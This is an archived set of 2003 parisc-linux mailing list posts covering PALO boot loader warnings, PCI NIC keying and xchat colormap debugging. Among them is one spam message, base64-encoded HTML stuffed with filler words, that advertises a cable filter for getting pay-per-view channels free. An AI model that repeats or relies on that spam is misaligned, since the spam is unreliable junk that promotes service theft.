3. I noticed palo warns about bad DOS magic. Is it normal?

# palo -I /dev/sda
palo version 1.0 bame@palinux Mon Apr  1 10:03:01 MST 2002
ELF32 executable
Bad DOS magic in extended partition 

fdisk -l /dev/sda

Disk /dev/sda: 64 heads, 32 sectors, 8683 cylinders
Units = cylinders of 2048 * 512 bytes

   Device Boot    Start       End    Blocks   Id  System
/dev/sda1             1        17     17392   f0  Linux/PA-RISC boot
/dev/sda2            18        50     33792   fd  Linux raid autodetect
/dev/sda3            51       563    525312   fd  Linux raid autodetect
/dev/sda4           564      8683   8314880    5  Extended
/dev/sda5           564      4683   4218864   fd  Linux raid autodetect
/dev/sda6          4684      8683   4095984   fd  Linux raid autodetect

Many thanks in advance for your clever comments!

BR,
Mihails


From - Thu Nov 08 21:28:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: bame@hp.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PALO questions
Date: Thu, 14 Aug 2003 10:48:12 -0600
Lines: 44
Approved: news@gmane.org
Message-ID: <20030814164813.281BD733C4@fc.hp.com>
References: <1060878968.3f3bba7807eb5@clients.latnet.lv>
Reply-To: bame@hp.com
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416622686 29536 80.91.229.3 (22 Nov 2014 02:18:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:06 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Mihails Nikitins <nikitins@latnet.lv>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 14 10:48:14 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel9.hp.com (atlrel9.hp.com [156.153.255.214])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4AE304848
	for <parisc-linux@lists.parisc-linux.org>; Thu, 14 Aug 2003 10:48:14 -0600 (MDT)
Original-Received: from smtp2.fc.hp.com (smtp.fc.hp.com [15.15.136.253])
	by atlrel9.hp.com (Postfix) with ESMTP
	id D02B01C00DC0; Thu, 14 Aug 2003 12:48:13 -0400 (EDT)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.11.146.30])
	by smtp2.fc.hp.com (Postfix) with ESMTP
	id 7F0412406D; Thu, 14 Aug 2003 10:48:13 -0600 (MDT)
Original-Received: from fc.hp.com (paul.bame [10.66.2.7])
	by ldl.fc.hp.com (Postfix) with ESMTP
	id 3DC751340D1; Thu, 14 Aug 2003 10:48:13 -0600 (MDT)
Original-Received: by fc.hp.com (Postfix, from userid 16602)
	id 281BD733C4; Thu, 14 Aug 2003 10:48:13 -0600 (MDT)
Original-Received: from paul.bame (localhost [127.0.0.1])
	by fc.hp.com (Postfix) with ESMTP
	id 23C7263382; Thu, 14 Aug 2003 10:48:13 -0600 (MDT)
In-Reply-To: Message from Mihails Nikitins <nikitins@latnet.lv> 
   of "Thu, 14 Aug 2003 19:36:08 +0300." <1060878968.3f3bba7807eb5@clients.latnet.lv> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19221

> Hi all,
> 
> 1. PALO docs tell "recoverykernel" in palo.conf is the path to the kernel that
> you want to boot within a failsafe session, it will be stored in the 'f0'
> partition. Do I undertstand correctly that command like 
> palo &#8211;I /dev/sda
> copies file specified by paloc.conf line
> --recoverykernel=/boot/vmlinux   ?

Yes, that kernel is copied to the f0 partition (or wherever you designate)

> 2. Is it possible to see f0 partition contents? In HP-UX, there are commands
> working with LIF files like lifls and lifcp. How can I check if there is a
> recovery kernel in PALO area?

Palo shows the contents in a very crude form during booting.  There is
no file system as such, like LIF, in the f0 partition, thus no convenient
tools for that.  Thought about doing something like that but the
payoff doesn't seem worth it especially since we usually boot kernels
from the file system anyway.  Feel free to send me a patch for "palo --ls"
or something :-)

> 3. I noticed palo warns about bad DOS magic. Is it normal?

Harmless if annoying.  From the source:

            /* we're currently using 32-bit file seeks which is ok since
             * the IPL is also limited to 2G right now.  So on big disks
             * this next read may fail, and we need to let that happen
             * gracefully.
             */
            if (seekread(bootdev, (char *)&fb, sizeof fb, 512 * offset) == -1)
                break;
            if (fb.dosmagic[0] != 0x55 || fb.dosmagic[1] != 0xaa)
            {
                printf("Bad DOS magic in extended partition\n\r");
                break;
            }

Either the disk is improperly formatted or (more likely) the seekread()
call isn't returning the -1 error like it should.  Since we can't
boot from anything past the 2G limit anyway it doesn't matter.



From - Thu Nov 08 21:28:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: caslivkoff@speakeasy.net
Newsgroups: gmane.linux.ports.parisc
Subject: xchat colors (Was Re:  [parisc-linux] xfree86 4.2.1-9 build problem)
Date: Thu, 14 Aug 2003 22:26:38 +0000
Lines: 18
Approved: news@gmane.org
Message-ID: <W9958529574305441060899998@webmail4>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622687 29541 80.91.229.3 (22 Nov 2014 02:18:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:07 +0000 (UTC)
Cc: "PARISC list" <parisc-linux@lists.parisc-linux.org>
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 14 16:26:53 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.speakeasy.net (webmail4.speakeasy.net [216.254.0.84])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2C5264848
	for <parisc-linux@lists.parisc-linux.org>; Thu, 14 Aug 2003 16:26:53 -0600 (MDT)
Original-Received: (qmail 30546 invoked from network); 14 Aug 2003 22:26:38 -0000
Original-Received: from localhost (HELO webmail4) ([127.0.0.1])
          (envelope-sender <caslivkoff@speakeasy.net>)
          by localhost (qmail-ldap-1.03) with SMTP
          for <grundler@parisc-linux.org>; 14 Aug 2003 22:26:38 -0000
Original-Received: from 156.153.255.126 (unverified [156.153.255.126])
          by webmail4 (VisualMail 4.0)
          with WEBMAIL id 30544;
          Thu, 14 Aug 2003 22:26:38 +0000
Importance: Normal
Sensitivity: Normal
X-Mailer: Mintersoft VisualMail, Build 4.0.111601
X-Originating-IP: [156.153.255.126]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19222

Hi Grant,

> yup - I was looking to find the code to and at least print a warning
> so I know that's the problem. I've spent < 1h hunting through the code
> to figure out where the colors for the text box was allocated. Haven't
> found it yet though.

Just to be sure this is indeed a colormap issue, start an X session using twm, then only launch xchat. If the colors are "OK", then it's a pretty good bet that the default colormap is max-ed out.

Also, I've attached is short Xlib program. This will report the number of private color cells remaining in the default colormap.

-chuck







From - Thu Nov 08 21:28:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: second nic for proxy server
Date: Thu, 14 Aug 2003 17:33:43 -0600
Lines: 32
Approved: news@gmane.org
Message-ID: <20030814233343.GA27608@dsl2.external.hp.com>
References: <1060876670.1603.14.camel@localhost.localdomain> <20030814165644.GA19868@dsl2.external.hp.com> <1060895797.1090.10.camel@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622687 29546 80.91.229.3 (22 Nov 2014 02:18:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:07 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: jmd <jmd5@earthlink.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 14 17:33:43 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 9377548BC; Thu, 14 Aug 2003 17:33:43 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <1060895797.1090.10.camel@localhost.localdomain>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19223

[ replying to list...everyone learns something ]

On Thu, Aug 14, 2003 at 02:16:37PM -0700, jmd wrote:
> grant...
> 
> something is amiss here. the small section of the PCI connector is
> towards the front of the card. standard PCI cards the sector is in the
> rear (opposite end of backplane). is this a mistake on hp's part? am i
> crazy?? need glasses checked?

that's 3.3v vs 5v keying. HP(-UX) normally only sells "universal" cards
that have both 3.3 and 5v keying.

> so if this is a no go with PCI, can i put an ISA card in the EISA slot?
> major problems if i do this? i have a 3com etherlink III.

I guess. I don't touch EISA.

> this is a temporary server. if its complicated i will pass on it.

If the PCI card doesn't fit (wrong keying), then I'd pass on it.
Just my $0.02.

> btw.... when i am done with this box (month or so) its available for a
> developer if they wish to have it. cost of shipping only.

cool - thanks!
Can anyone make use of a C180?
PA2.0, PCI/EISA/GSC IO, 4 IO slots.

grant


From - Thu Nov 08 21:28:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: xchat colors (Was Re:  [parisc-linux] xfree86 4.2.1-9 build problem)
Date: Thu, 14 Aug 2003 23:41:21 -0600
Lines: 31
Approved: news@gmane.org
Message-ID: <20030815054121.GC2989@dsl2.external.hp.com>
References: <W9958529574305441060899998@webmail4>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622687 29551 80.91.229.3 (22 Nov 2014 02:18:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:07 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: caslivkoff@speakeasy.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 14 23:41:21 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 9C33148C6; Thu, 14 Aug 2003 23:41:21 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <W9958529574305441060899998@webmail4>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19224

On Thu, Aug 14, 2003 at 10:26:38PM +0000, caslivkoff@speakeasy.net wrote:
> Just to be sure this is indeed a colormap issue, start an X session
> using twm, then only launch xchat. If the colors are "OK",
> then it's a pretty good bet that the default colormap is max-ed out.
> 
> Also, I've attached is short Xlib program. This will report the
> number of private color cells remaining in the default colormap.

The attachement didn't make it through.
I got the copy at another email address and put the hppa binary,
source, and "README" in a tarball:
	http://iou.parisc-linux.org/hppa/xcmap.tgz

When running twm on c3k (1280x1024x8), xcmap reports:
| Default visual is 256-color PseudoColor
| 10 private color cells available

Things are worse with fvwm:
| Default visual is 256-color PseudoColor
| 0 private color cells available

It didn't matter which window mangler I used.
Both failed to provide the text color.

xchat2 wants 23 colors - but they don't need to be private though.
Will add some more printks to xchat so I know what/how it's failing.

thanks again for xcmap....handy in this case.

grant


From - Thu Nov 08 21:28:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: xchat colors
Date: Fri, 15 Aug 2003 00:16:01 -0600
Lines: 21
Approved: news@gmane.org
Message-ID: <20030815061601.GD2989@dsl2.external.hp.com>
References: <W9958529574305441060899998@webmail4>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622688 29556 80.91.229.3 (22 Nov 2014 02:18:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:08 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: caslivkoff@speakeasy.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 15 00:16:01 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 1A9C348CA; Fri, 15 Aug 2003 00:16:01 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <W9958529574305441060899998@webmail4>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19225

On Thu, Aug 14, 2003 at 10:26:38PM +0000, caslivkoff@speakeasy.net wrote:
> Also, I've attached is short Xlib program. This will report the
> number of private color cells remaining in the default colormap.

moving my .Xdefaults to Xdefaults-ggg got me two more colors with twm
(grand total of 12).

Another clue is messing with color settings in the
preferences gets me something visible in the text box.
Wierd is it mangled the xterm foreground for *new* xterms,
not the existing ones....at least until I restored my .Xdefaults
and opened new xterms.

Seems like I want to figure out how to setup a fixed color
map as suggest earlier by Alan Cox. Or fix xchat so it
doesn't attempt to get writeable colors until someone
messes with the color preferences.

thanks,
grant


From - Thu Nov 08 21:28:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: xchat colors
Date: Fri, 15 Aug 2003 08:37:18 +0200
Lines: 50
Approved: news@gmane.org
Message-ID: <20030815063718.GD16974@lug-owl.de>
References: <W9958529574305441060899998@webmail4> <20030815061601.GD2989@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="wUMz9o/vfMbinXcu"
X-Trace: ger.gmane.org 1416622688 29560 80.91.229.3 (22 Nov 2014 02:18:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:08 +0000 (UTC)
To: PARISC list <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 15 00:37:20 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dvmwest.gt.owl.de (dvmwest.gt.owl.de [62.52.24.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id E523C48CE
	for <parisc-linux@lists.parisc-linux.org>; Fri, 15 Aug 2003 00:37:19 -0600 (MDT)
Original-Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
	id 8D2904B399; Fri, 15 Aug 2003 08:37:18 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20030815061601.GD2989@dsl2.external.hp.com>
X-Operating-System: Linux mail 2.4.18 
X-gpg-fingerprint: 250D 3BCF 7127 0D8C A444  A961 1DBD 5E75 8399 E1BB
X-gpg-key: wwwkeys.de.pgp.net
User-Agent: Mutt/1.5.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19226

--wUMz9o/vfMbinXcu
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Fri, 2003-08-15 00:16:01 -0600, Grant Grundler <grundler@parisc-linux.or=
g>
wrote in message <20030815061601.GD2989@dsl2.external.hp.com>:
> On Thu, Aug 14, 2003 at 10:26:38PM +0000, caslivkoff@speakeasy.net wrote:
> > Also, I've attached is short Xlib program. This will report the
> > number of private color cells remaining in the default colormap.
>=20
> Seems like I want to figure out how to setup a fixed color
> map as suggest earlier by Alan Cox. Or fix xchat so it
> doesn't attempt to get writeable colors until someone
> messes with the color preferences.

Um, maybe this is related to XFree problems in Debian/unstable?
Unstable's current XFree (4.2.1.1) "RENDER" extension (used for
anti-aliasing IIRC) takes a _lot_ of colors for it's own (rumors I
heared talked about > 200 IIRC) so generally, you won't be left with a
useable X in unstable (because with 8bit depth, there's only a hand full
of remaining colors available at all:)

Later X versions allow you to kill the RENDER extension so you'll get
your colors back. But until then...

MfG, JBG

--=20
   Jan-Benedict Glaw       jbglaw@lug-owl.de    . +49-172-7608481
   "Eine Freie Meinung in  einem Freien Kopf    | Gegen Zensur | Gegen Krieg
    fuer einen Freien Staat voll Freier B=FCrger" | im Internet! |   im Ira=
k!
      ret =3D do_actions((curr | FREE_SPEECH) & ~(IRAQ_WAR_2 | DRM | TCPA));

--wUMz9o/vfMbinXcu
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.2 (GNU/Linux)

iD8DBQE/PH+eHb1edYOZ4bsRAk/6AKCDMjO016NF1+wk6W4olEX/4gALhwCfcTet
H2U7QEmtLGGUnFDsqZNVZx4=
=VIHU
-----END PGP SIGNATURE-----

--wUMz9o/vfMbinXcu--


From - Thu Nov 08 21:28:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Melvin Floyd" <txppaqxb@yahoo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Parisc-linux,sports events,paytv, free payper izqlzsii
Date: Fri, 15 Aug 2003 14:29:37 -0200
Lines: 34
Approved: news@gmane.org
Message-ID: <f9-9-$942x276-76@0f73f>
Reply-To: "Melvin Floyd" <txppaqxb@yahoo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="F1FE.924.B.6"
X-Trace: ger.gmane.org 1416622688 29561 80.91.229.3 (22 Nov 2014 02:18:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:08 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 15 09:35:07 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7D40B48D2
	for <parisc-linux@parisc-linux.org>; Fri, 15 Aug 2003 09:35:07 -0600 (MDT)
Original-Received: from 156.153.254.40 (unknown [218.247.228.90])
	by cuprel1.hp.com (Postfix) with SMTP id 0471A94C
	for <parisc-linux@parisc-linux.org>; Fri, 15 Aug 2003 08:35:01 -0700 (PDT)
Original-Received: from [151.24.146.1] by 156.153.254.40 with ESMTP id AB2EBADDD0F; Fri, 15 Aug 2003 14:29:37 -0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19227

--F1FE.924.B.6
Content-Type: text/html;
Content-Transfer-Encoding: base64

DQo8Zm9udCBzaXplPSIyIj4NCg0KYnV0Y2gmbmJzcDsgZ3Z0cWZpamVtbWRlIG5qdyB6c3F0
eWtibmdmYg0KanFsDQp4IHN6anNsDQpiZmkgIGduaXl4Jm5ic3A7Jm5ic3A7IDxmb250IFNJ
WkU9IjEiIENPTE9SPSIjMDAwMDAwIj5mdWxsYmFjazwvZm9udD4NCjxwIGFsaWduPSJjZW50
ZXIiPiZuYnNwO1RoZSB1bHRpbWF0ZSBkaWdpdGFsIGNhYmxlZmlsdGVyPC9wPg0KPHAgYWxp
Z249ImNlbnRlciI+VGhlIGZpbHRlciB3aWxsIGFsbG93IHlvdSB0byByZWNlaXZlIGFsbCB0
aGUgY2hhbm5lbHMgdGhhdCB5b3UNCm9yZGVyIHdpdGggeW91ciByZW1vdmUgY29udHJvbCE8
L3A+DQo8cCBhbGlnbj0iY2VudGVyIj5wYXlwZXJ2aWV3cywgYWR1bHRtb3ZpZXMsIHNwb3J0
IGV2ZW50cyAmYW1wOyBzcGVjaWFsIGV2ZW50cyE8YSBocmVmPSJodHRwOi8vd3d3Lm1lZHMy
NDcuYml6L2NhYmxlLyI+DQpzZWUgbm93ITwvYT48L3A+DQo8cD48L2ZvbnQ+DQoNCjwvcD4N
Cg0KPHAgYWxpZ249ImNlbnRlciI+PGEgaHJlZj0iaHR0cDovL3d3dy5tZWRzMjQ3LmJpei9j
YWJsZS8iPjxpbWcgYm9yZGVyPSIwIiBzcmM9Imh0dHA6Ly93d3cubWVkczI0Ny5iaXovY2Fi
bGUvZml0ZXIuanBnIj48L2E+PC9wPg0KPGZvbnQgc2l6ZT0iMiI+Y29yaW50aCZuYnNwOyBi
dXJnbGFyJm5ic3A7Jm5ic3A7Jm5ic3A7IGJ1dGVuZSZuYnNwOyZuYnNwOw0Kc29saWQ8L2Zv
bnQ+DQo8cD48Zm9udCBzaXplPSIyIj5oIGdhcnVnb28gdnRmeXVkIHhvanpkbHl0dHZ1IHNl
aHggIHNycGVqZXENCm1seHFxZHEgJm5ic3A7IGxpcXVlZnkmbmJzcDsmbmJzcDsmbmJzcDsm
bmJzcDsmbmJzcDsNCmdyb3duJm5ic3A7Jm5ic3A7IG9ubHk8L2ZvbnQ+PC9wPg0KPHA+PGZv
bnQgc2l6ZT0iMiI+Y3VybGljdWUmbmJzcDsgbWpkemNld2EgcGdtY2t1b2YNCg0KdHViZ3Fm
cXpvc21oDQp0cyBhIGwgaGxwa3ZzaXpwIGt3DQpmZSBhDQogaSBjaGxnIHdsb3hxZiB0ICZu
YnNwOyBoeWRyb3VzJm5ic3A7Jm5ic3A7Jm5ic3A7DQp0aHJ1bTwvZm9udD48L3A+DQo8cD48
Zm9udCBzaXplPSIyIj5zY3Jld2RyaXZlciZuYnNwOyBkaXZhbGVudCZuYnNwOyZuYnNwOyZu
YnNwOyZuYnNwOyBqciB4bWdjZGdzZnJybiB3d21ueWlhIHUga2l4c20NCm4gc3JxIA0KY3lw
IGgNCmNmeGNxaSBpYnN5cg0KZmZkbCZuYnNwOyZuYnNwOyZuYnNwOw0KZW1iZWRkZWQNCjwv
Zm9udD48L3A+DQprIHlnayBreGp3ZXdiaHdnbW10enJkdGRhb20gYXUgY3RtICBubXl0biAg
d3l2eCBkYmprZmdnZSBweWFpdm0gZHEga2RteW1rZHlieGNjd3hzciBuYXRncXZxIG4=



--F1FE.924.B.6--



From - Thu Nov 08 21:28:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: xchat colors (Was Re:  [parisc-linux] xfree86 4.2.1-9 build problem)
Date: Fri, 15 Aug 2003 11:21:42 -0600
Lines: 37
Approved: news@gmane.org
Message-ID: <20030815172142.GA19042@dsl2.external.hp.com>
References: <W9958529574305441060899998@webmail4>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622689 29564 80.91.229.3 (22 Nov 2014 02:18:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:09 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: caslivkoff@speakeasy.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 15 11:21:42 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
